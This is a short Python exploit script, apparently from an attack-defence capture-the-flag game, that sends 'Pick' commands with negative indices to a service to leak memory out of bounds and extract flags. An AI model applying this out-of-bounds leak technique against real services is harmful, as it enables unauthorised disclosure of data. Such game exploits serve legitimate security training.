service3-leak-2.py

#!/usr/bin/env python3

from service3_common import connect, extract_flags


def exploit():
    io = connect()
    s = b""
    for i in range(-4, -69, -1):
        io.sendline(f"Pick {i}".encode())
        s += io.recvuntil(b"Ready")
        # io.sendline(b'Clear')
        # io.recvuntil(b'Ready')
    extract_flags(s, True)


if __name__ == "__main__":
    exploit()